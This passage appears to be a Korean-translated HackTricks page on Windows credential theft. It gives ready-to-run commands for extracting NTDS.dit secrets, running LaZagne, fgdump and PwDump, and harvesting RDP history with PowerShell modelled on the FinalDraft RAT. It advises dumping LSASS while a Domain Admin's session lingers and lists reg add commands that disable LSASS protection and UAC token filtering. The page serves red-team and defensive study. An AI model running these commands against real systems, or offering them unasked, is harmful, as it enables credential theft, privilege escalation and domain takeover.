NTDS ๊ฐ์ฒด๋Š” ntdsdotsqlite๋กœ SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ๋น„๋ฐ€๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์ „์ฒด ๊ฐ์ฒด์™€ ๊ทธ ์†์„ฑ๋„ ์ถ”์ถœํ•˜๋ฏ€๋กœ, ์›๋ณธ NTDS.dit ํŒŒ์ผ์„ ์ด๋ฏธ ํ™•๋ณดํ•œ ๊ฒฝ์šฐ ์ถ”๊ฐ€ ์ •๋ณด ์ถ”์ถœ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive๋Š” ์„ ํƒ ์‚ฌํ•ญ์ด์ง€๋งŒ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋น„๋ฐ€ ๋ณตํ˜ธํ™”๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). ๊ธฐํƒ€ ์ •๋ณด์™€ ํ•จ๊ป˜ ๋‹ค์Œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ถ”์ถœ๋ฉ๋‹ˆ๋‹ค : ํ•ด์‹œ๊ฐ€ ํฌํ•จ๋œ ์‚ฌ์šฉ์ž ๋ฐ ๋จธ์‹  ๊ณ„์ •, UAC flags, ๋งˆ์ง€๋ง‰ ๋กœ๊ทธ์˜จ ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ํƒ€์ž„์Šคํƒฌํ”„, ๊ณ„์ • ์„ค๋ช…, ์ด๋ฆ„, UPN, SPN, ๊ทธ๋ฃน ๋ฐ ์žฌ๊ท€์  ๋ฉค๋ฒ„์‹ญ, ์กฐ์ง ๋‹จ์œ„ ํŠธ๋ฆฌ ๋ฐ ๋ฉค๋ฒ„์‹ญ, ์‹ ๋ขฐ ๋„๋ฉ”์ธ(ํŠธ๋Ÿฌ์ŠคํŠธ ์œ ํ˜•ยท๋ฐฉํ–ฅยท์†์„ฑ)โ€ฆ

Lazagne

๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” here์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ์†Œํ”„ํŠธ์›จ์–ด์—์„œ credentials๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

lazagne.exe all

SAM ๋ฐ LSASS์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐํƒ€ ๋„๊ตฌ

Windows credentials Editor (WCE)

์ด ๋„๊ตฌ๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

SAM ํŒŒ์ผ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAM ํŒŒ์ผ์—์„œ credentials ์ถ”์ถœ

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Download it from: http://www.tarasco.org/security/pwdump_7 and just ์‹คํ–‰ํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ถ”์ถœ๋ฉ๋‹ˆ๋‹ค.

์œ ํœด RDP ์„ธ์…˜ ์ˆ˜์ง‘ ๋ฐ ๋ณด์•ˆ ์ œ์–ด ์•ฝํ™”

Ink Dragonโ€™s FinalDraft RAT includes a DumpRDPHistory tasker whose techniques are handy for any red-teamer:

DumpRDPHistory ์Šคํƒ€์ผ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ ์ˆ˜์ง‘

  • Outbound RDP ๋Œ€์ƒ โ€“ HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž hive๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์„œ๋ธŒํ‚ค์—๋Š” ์„œ๋ฒ„ ์ด๋ฆ„, UsernameHint, ๋งˆ์ง€๋ง‰ ์“ฐ๊ธฐ ํƒ€์ž„์Šคํƒฌํ”„๊ฐ€ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. PowerShell๋กœ FinalDraft์˜ ๋กœ์ง์„ ์žฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
  • Inbound RDP ์ฆ๊ฑฐ โ€“ Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ๋กœ๊ทธ์—์„œ Event ID 21 (์„ฑ๊ณต์  ๋กœ๊ทธ์˜จ) ๋ฐ 25 (์—ฐ๊ฒฐ ๋Š๊น€)์„ ์ฟผ๋ฆฌํ•˜์—ฌ ๋ˆ„๊ฐ€ ํ•ด๋‹น ์‹œ์Šคํ…œ์„ ๊ด€๋ฆฌํ–ˆ๋Š”์ง€ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}

์ผ์ •ํ•˜๊ฒŒ ์ ‘์†ํ•˜๋Š” Domain Admin์„ ์•Œ๊ฒŒ ๋˜๋ฉด, ๊ทธ๋“ค์˜ ์—ฐ๊ฒฐ ๋Š๊น€ ์„ธ์…˜์ด ๋‚จ์•„ ์žˆ๋Š” ๋™์•ˆ LSASS๋ฅผ (LalsDumper/Mimikatz๋กœ) ๋คํ”„ํ•˜์„ธ์š”. CredSSP + NTLM fallback์€ ๊ทธ๋“ค์˜ verifier์™€ ํ† ํฐ์„ LSASS์— ๋‚จ๊ธฐ๋ฉฐ, ์ด๋ฅผ SMB/WinRM์„ ํ†ตํ•ด ์žฌ์‚ฌ์šฉํ•˜์—ฌ NTDS.dit๋ฅผ ํš๋“ํ•˜๊ฑฐ๋‚˜ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— persistence๋ฅผ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

FinalDraft๊ฐ€ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  • DisableRestrictedAdmin=1 ์„ค์ •์€ RDP ๋™์•ˆ ์ž๊ฒฉ์ฆ๋ช…/ํ‹ฐ์ผ“์˜ ์ „์ฒด ์žฌ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•˜์—ฌ pass-the-hash ์Šคํƒ€์ผ์˜ pivots๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • LocalAccountTokenFilterPolicy=1์€ UAC token filtering์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ local admins๊ฐ€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์ œํ•œ ์—†๋Š” ํ† ํฐ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • DSRMAdminLogonBehavior=2๋Š” DC๊ฐ€ ์˜จ๋ผ์ธ์ผ ๋•Œ DSRM administrator๊ฐ€ ๋กœ๊ทธ์˜จํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, attackers์—๊ฒŒ ๋˜ ๋‹ค๋ฅธ ๋‚ด์žฅ ๊ณ ๊ถŒํ•œ ๊ณ„์ •์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • RunAsPPL=0์€ LSASS PPL ๋ณดํ˜ธ๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ LalsDumper์™€ ๊ฐ™์€ dumpers๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ ์ ‘๊ทผ์„ ๋งค์šฐ ์‰ฝ๊ฒŒ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ